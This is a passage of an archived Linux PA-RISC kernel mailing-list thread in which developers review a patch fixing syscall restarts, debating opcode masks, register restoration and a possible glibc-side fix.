 sN7sse8parK46MHD41pwepJs3k+UHCx/CkIRm3wJCG6ICtGvzGU8v1H17jhw0fd8JSiLCEUbS
 PYp/nTOh3pf6viaxgeBNlamWJFPvgZlGKmFzR8UcOgt2mbgFT9ARV/3mz4t8RX41XiWCyuQUt
 1avzxb5EVE690TB35nYH1qfvGMXDhlSfXM4/PQ9V3KgUWfx1L84iNJeHN4xYZrvrQhX9DZWGm
 oKnk51SlpPmENwty/A9jusZunE3nqKZekcCnh5yAPFMycnwgLtAolfREQHmoBCWdphslj8es9
 i0uUKiBFxkjBoz98/qol8zYCtMTz95XDm+WkGLliqAOaJIFvSznic3JPbrXHthxrdHGIsraHV
 WRtggadhJkIQhX5ainEKrpatLkT7OPVe7evihYc/oOjQNwfci9+a7yZ1+HoyE/Lc6ZkpWLsjb
 OD2T23+vPnXTC49WsOvWTwJLTxHEFZwvNKAvfCJJcP23uE/Tf4hloU15iv0cQzstkFFF/x5w 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26253
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26253>

On 20.12.2015 19:31, John David Anglin wrote:
> On 2015-12-20, at 10:49 AM, Helge Deller wrote:
> 
>>>>> /* Check if delay branch uses "copy %rX,%r20" */
>>>>> +	if ((opcode & 0xff00ffff) == 0x08000254) {
>>>>> +		source_reg = (opcode >> 16) & 31;
>>>>
>>>> Can you explain the reasoning behind the & 31 mask ?
>>>> I'm no parisc expert, but this seems rather odd.
>>>> Do you really mean "% 31" which translates to "& 5" ?
>>>> It would make more sense since there are 32 "gr"
>>>> registers. With & 31, a carefully crafted opcode
>>>> could overflow the gr[32] array, and cause a kernel
>>>> overflow allowing to overwrite kernel memory
>>>> (security issue).
>>>
>>> Hrm, I got my masks temporarily mixed up (early morning
>>> here). This is why I always use constructs such as:
>>>
>>> #define GR_REGS_BITS  5
>>> #define NR_GR_REGS    (1U << GR_REGS_BITS)
>>> #define GR_REGS_MASK  (NR_GR_REGS - 1)
>>>
>>> and then
>>>
>>> v & GR_REGS_MASK;
>>>
>>> Which makes everything super-obvious. The & 31 mask
>>> seems therefore technically correct.
>>
>> Good. I was struggling with your comments as well :-)
>>
>>
>>> The paragraph below still holds though:
>>>
>>>>
>>>> If it's the case, then it would also be good to
>>>> check that the register selector within the opcode
>>>> is not larger than 31 (e.g. applying to fr or sr
>>>> register), rather than applying the modulo and
>>>> assuming it's a gr and corrupt userspace state.
>>
>> I'll check that.
> 
> The register field cannot be larger than 31.  A fr or sr
> regster can't be used 

Both correct.

> in a LDO "copy" instruction.

Actually it's the "OR,cond r1,r2,t" instruction.
https://parisc.wiki.kernel.org/images-parisc/6/68/Pa11_acd.pdf
page 5-105

if ((opcode & 0xff00ffff) == 0x08000254)

The mask should be 0xffe0ffff, so that some bits of r2 (which needs to be 0) are not missed.

Helge 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 14:39:33 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <B201D30D-8677-4D06-B3F9-EA4494972EF5@bell.net>
References: <20151218233034.GA24910@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450640391 3027 80.91.229.3 (20 Dec 2015 19:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 19:39:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 20:39:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAjpU-0004R2-Qh
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 20:39:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750766AbbLTTji (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 14:39:38 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:3169 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750714AbbLTTji (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 14:39:38 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20151220193934.VRJX19075.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 14:39:34 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm01.bell.net
          with ESMTP
          id <20151220193934.QIKJ4210.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 14:39:34 -0500
In-Reply-To: <20151218233034.GA24910@p100.box>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.567703F6.0092,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26254
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26254>

On 2015-12-18, at 6:30 PM, Helge Deller wrote:

> +	/* Usually we don't have to restore %r20 (the system call number)
> +	 * because it gets loaded in the delay slot of the branch external
> +	 * instruction via the ldi instruction.
> +	 * In some cases a register-to-register copy instruction might have
> +	 * been used instead, in which case we need to copy the syscall
> +	 * number into the source register before returning to userspace.
> +	 */

I'm thinking it might be better to fix syscall() in glibc.  The copy could be
moved before ble and a nop placed delay slot.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 14:46:06 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <DB44FC0C-734A-477F-BA28-2271D151F15C@bell.net>
References: <20151218233034.GA24910@p100.box> <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com> <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com> <5676CE11.9020808@gmx.de> <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net> <56770264.90706@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1450640780 9109 80.91.229.3 (20 Dec 2015 19:46:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 19:46:20 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 20:46:11 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAjvl-0002VZ-3T
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 20:46:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750745AbbLTTqI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 14:46:08 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:41422 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750714AbbLTTqH convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 14:46:07 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151220194606.NBGA24954.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 14:46:06 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm02.bell.net
          with ESMTP
          id <20151220194606.QKJL21879.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 14:46:06 -0500
In-Reply-To: <56770264.90706@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.5677057E.00D9,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26255
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26255>

On 2015-12-20, at 2:32 PM, Helge Deller wrote:

>> in a LDO "copy" instruction.
> 
> Actually it's the "OR,cond r1,r2,t" instruction.
> https://parisc.wiki.kernel.org/images-parisc/6/68/Pa11_acd.pdf
> page 5-105
> 
> if ((opcode & 0xff00ffff) == 0x08000254)
> 
> The mask should be 0xffe0ffff, so that some bits of r2 (which needs to be 0) are not missed.

There are multiple instructions that could be used.  The PA 2.0 arch says LDO  on page 7-83.

I think we should fix syscall().  It's not used that much.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 20:48:22 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <56770606.9020005@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <B201D30D-8677-4D06-B3F9-EA4494972EF5@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450640923 11368 80.91.229.3 (20 Dec 2015 19:48:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 19:48:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 20:48:35 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAjy6-0002VZ-21
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 20:48:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750754AbbLTTsd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 14:48:33 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:58885 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750714AbbLTTsd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 14:48:33 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0MQiB3-1ZlHAS1N8f-00U6Lj; Sun, 20 Dec 2015 20:48:25
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <B201D30D-8677-4D06-B3F9-EA4494972EF5@bell.net>
X-Provags-ID: V03:K0:FAoXFGh4nhQrxt0y/AiHWe+S6J33StOWdst01o8+sllROq23NnG
 X2P+shiKTS4Z0UMjbSHVXvlil0TFExf48gluT10IiGsVuXUKbRa4we07FqiYp6DVQxP0HVv
 x2GA+AvXq3VDMdkAJrKn4SCIKg/KxAToVQ0rVq8IQXMl1d45OwvEERgpoUW+hbJPlMkn8GG
 PjTbfiuwoqCnJBIEyVT4A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:a3C0WjqgzL0=:txbFhX6jy75VjYefvaXEXz
 nnBmYmSn53PVA0Sh22hCK2Ae8/dVz+gxaMBqng51MPFpO7yulWh7TWYFVuZNTKWy3vxjyZ+AU
 Uyfp27R9h/RXCV+7LncCcb0y9uPTjlWM9joBMxfe1X8qG8SDCpcTzLGlnih/we273+bjd81xS
 1Huu9FbIZuWO/blN+5Les7hbrXUmbnM9R74k6QtsO/UTQhke1Jv74oR7fxRfuL7OvsShT2Ee4
 zvG4zUEMG5qZrpjsefhji7kjekCvxmZn9dqf6PfpqJCC1vaM0/+HR7P8niHdBmRsRBPfZXqAX
 veFj5IM7eNPOfa4P5TzVzElzg7BcRdHONB62tQPv8ynN/NE+5WT2Ov883c6o102whd1ujQ5x7
 eknPP5Id9WN8LnyAIogQQ2cpUXE8ZHsG6p4MGIWNvcrykZ2cv7zPuUrh1ENgZiDCcW6hliGY1
 OawexAbDSjt3o/+P+vaqhA96buHOpdDQCzXP5kWjfsHPG5manL/CwJuIgdczyX5gzZNRrGiBR
 28xWflRqcXrIU+AhQKhmlXGzG9VhvD97c8n3Z3DJJ3lt2MN3tkLb/w0QpBqArUTdz0GpdrLXD
 IHWUiLRipKwwf74Ax8LSNsA9dNbhzadoNYRe7ueHhDh4dQxt8ojZ16/bXGDyHWWtvWPHNPnPI
 7VXtLvuRi/jfJyYZA1YEevH5tbc8sRm8rj7RU5YGeOiO01GIx1yu/v+sKO7uQ275RCTXu9535
 zB1hv1Ow6DBgXuxoBwMs08M8/vKOASV5BZJ+KC+uU9pABwrMlYpkdreIoePs1k/ecAp2ZA3U 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26256>

On 20.12.2015 20:39, John David Anglin wrote:
> On 2015-12-18, at 6:30 PM, Helge Deller wrote:
> 
>> +	/* Usually we don't have to restore %r20 (the system call number)
>> +	 * because it gets loaded in the delay slot of the branch external
>> +	 * instruction via the ldi instruction.
>> +	 * In some cases a register-to-register copy instruction might have
>> +	 * been used instead, in which case we need to copy the syscall
>> +	 * number into the source register before returning to userspace.
>> +	 */
> 
> I'm thinking it might be better to fix syscall() in glibc.  The copy could be
> moved before ble and a nop placed delay slot.

Yes, I think it should be fixed in glibc which makes it cleaner.
I looked at dietlibc. There a "nop" is being used.

Nevertheless, it may happen anytime if people forget, that we will see a
"copy" there again, so IMHO it's probably safer to include the workaround in 
kernel too.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 15:01:31 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <A804D424-7C3E-4639-9EC4-5A52653EE0DD@bell.net>
References: <20151218233034.GA24910@p100.box> <B201D30D-8677-4D06-B3F9-EA4494972EF5@bell.net> <56770606.9020005@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1450641703 22781 80.91.229.3 (20 Dec 2015 20:01:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:01:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:01:35 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkAg-0000F4-42
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:01:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750870AbbLTUBd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:01:33 -0500
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:12281 "EHLO
	torfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750856AbbLTUBd convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:01:33 -0500
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20151220200131.QBBO22640.torfep01.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 15:01:31 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by torspm02.bell.net
          with ESMTP
          id <20151220200131.WLDV31117.torspm02.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 15:01:31 -0500
In-Reply-To: <56770606.9020005@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020201.5677091B.0124,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26257>

On 2015-12-20, at 2:48 PM, Helge Deller wrote:

> On 20.12.2015 20:39, John David Anglin wrote:
>> On 2015-12-18, at 6:30 PM, Helge Deller wrote:
>> 
>>> +	/* Usually we don't have to restore %r20 (the system call number)
>>> +	 * because it gets loaded in the delay slot of the branch external
>>> +	 * instruction via the ldi instruction.
>>> +	 * In some cases a register-to-register copy instruction might have
>>> +	 * been used instead, in which case we need to copy the syscall
>>> +	 * number into the source register before returning to userspace.
>>> +	 */
>> 
>> I'm thinking it might be better to fix syscall() in glibc.  The copy could be
>> moved before ble and a nop placed delay slot.
> 
> Yes, I think it should be fixed in glibc which makes it cleaner.
> I looked at dietlibc. There a "nop" is being used.

A "nop" implies %r20 needs to be restored.

> 
> Nevertheless, it may happen anytime if people forget, that we will see a
> "copy" there again, so IMHO it's probably safer to include the workaround in 
> kernel too.


The current patch assumes regs->gr[source_reg] is restored.  That needs to be
checked given previous comment about %r20.

Essentially, all syscall clobbered registers need to be restored.

Can the user space stuff be avoided by jumping to the gateway entry point?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 21:06:50 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <56770A5A.1080700@gmx.de>
References: <20151218233034.GA24910@p100.box>
 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
 <5676CE11.9020808@gmx.de> <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net>
 <56770264.90706@gmx.de> <DB44FC0C-734A-477F-BA28-2271D151F15C@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450642029 27130 80.91.229.3 (20 Dec 2015 20:07:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:07:09 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:07:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkFy-0000F4-LM
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:07:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750766AbbLTUHB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:07:01 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:50597 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750756AbbLTUHA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:07:00 -0500
Original-Received: from [192.168.20.60] ([92.203.49.69]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lb5nF-1adEWL3k8P-00kbr8; Sun, 20 Dec 2015 21:06:53
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <DB44FC0C-734A-477F-BA28-2271D151F15C@bell.net>
X-Provags-ID: V03:K0:8lKX+hYH5DZIB21Nd7DPgTzCb/YnRDch9oVq9AQtxWkD4zQWn4J
 LCNtkCf31B5ff/GVPN7cO5npDnxc/IAP/sXVgK4qtLRrTf2UikRNykG/nZ4d07Zerph34wn
 xjnLoxECbokHtfdpNS3GC9lTIVE2VTwU5sHRcHBrmy0nmaiLOlWV4dLGe6Svt7XXI7+GwRE
 z7/y8EdWrboyc/RgxqZ7w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:xHlbVd0Lb+Q=:SikfOEG1kTTom9iDvImRRc
 6BV2PuD2ALzWrClsCRPpIWG1oVEBrhzce8ElSY12dV2afqH5UglOADU/m+Ft2DFnna92cBu5W
 7dTM3mkFAcfUhX9HMAU9oJC3BNLLTe8RdVRAy09QzFiQVpCYOcIZF6/j776Wj9xDbjXZLFWsz
 DCxAE2F4SznXV23NXSZOprN+ziiY7/qDp3wScKQPZAb8ycaIAH1ueWFzsSluCdjWq/8Y7X6Pe
 hXrD6Ttk2cQ2yjNcf3cnYAeBe+XAZDwzBO32AtplLOAs+qDP04JuAkFxqQBvRV/9a2PRMak1G
 OMKiDGbO+TeOPGfop+zK3QHh7GexRLrxNxSrCTuw5P9RKgvl3xj9/GZrO+moqNjOaZWcZUQcR
 J+TtT5SHD/x9QCX+adNSSFnNYMu0Ty9hZ00QSKHUAZRuCv3GtQl6uo548mXjGgxmnzYcUTjz2
 kAKoJY4R4XUTGcH/NEq2cXzy9mUmq+JNZ72PFM/DAd7NXP1kEu5NkNRThgbG4FXTUjyAfAWN/
 uw2DNl5MeRp9i+olI4UEOI7C2W/9F9Dn8BLMaJ/E2s4WqmwKstOEQy98siqfxUsZpBqB2FmPw
 XcBUgpGOYg6ieCXucX9PkQCcnVgnetff+fwFhL5p50D+kRrzn9Sdqhjl2o0yAMcKb/Yl9dOe/
 L4lTbnbD9fvL5jw5d4XlqBoy+s8Bab7sABCkYm02mfAPXwNyzIV9h70C9Blb7inq8ACkLuMl8
 5HvOcboVTI7QJ7J8cwaFQ4GVHUD3CAaMB6qSN0yvbjSQwxMpUxUuEucsjiZQvk9JAgSQkO/n 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26258>

On 20.12.2015 20:46, John David Anglin wrote:
> On 2015-12-20, at 2:32 PM, Helge Deller wrote:
> 
>>> in a LDO "copy" instruction.
>>
>> Actually it's the "OR,cond r1,r2,t" instruction.
>> https://parisc.wiki.kernel.org/images-parisc/6/68/Pa11_acd.pdf
>> page 5-105
>>
>> if ((opcode & 0xff00ffff) == 0x08000254)
>>
>> The mask should be 0xffe0ffff, so that some bits of r2 (which needs to be 0) are not missed.

This is actually not the full truth.
I missed the point, that "r2" is a register and not an immediate value.
My code just checks that "r2" means %r0, while it could be any other register as well,
which either has a null-value, or even worse, if someone decides to "calculate" the syscall number.

> There are multiple instructions that could be used.  The PA 2.0 arch says LDO  on page 7-83.

True.
But luckily it seems gas converts "copy" to the "or" syntax mentioned above.
In any case, keeping my kernel patch will report any cases (which might by mistake get added)
in the future so that we can fix userspace then (or enhance the kernel workaround).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 15:14:08 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <6E922C83-B2CF-4B18-94B4-E848EF7305F9@bell.net>
References: <20151218233034.GA24910@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450642462 900 80.91.229.3 (20 Dec 2015 20:14:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:14:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:14:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkMt-0008QJ-Mi
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:14:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750785AbbLTUOL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:14:11 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:39833 "EHLO
	torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750778AbbLTUOK (ORCPT
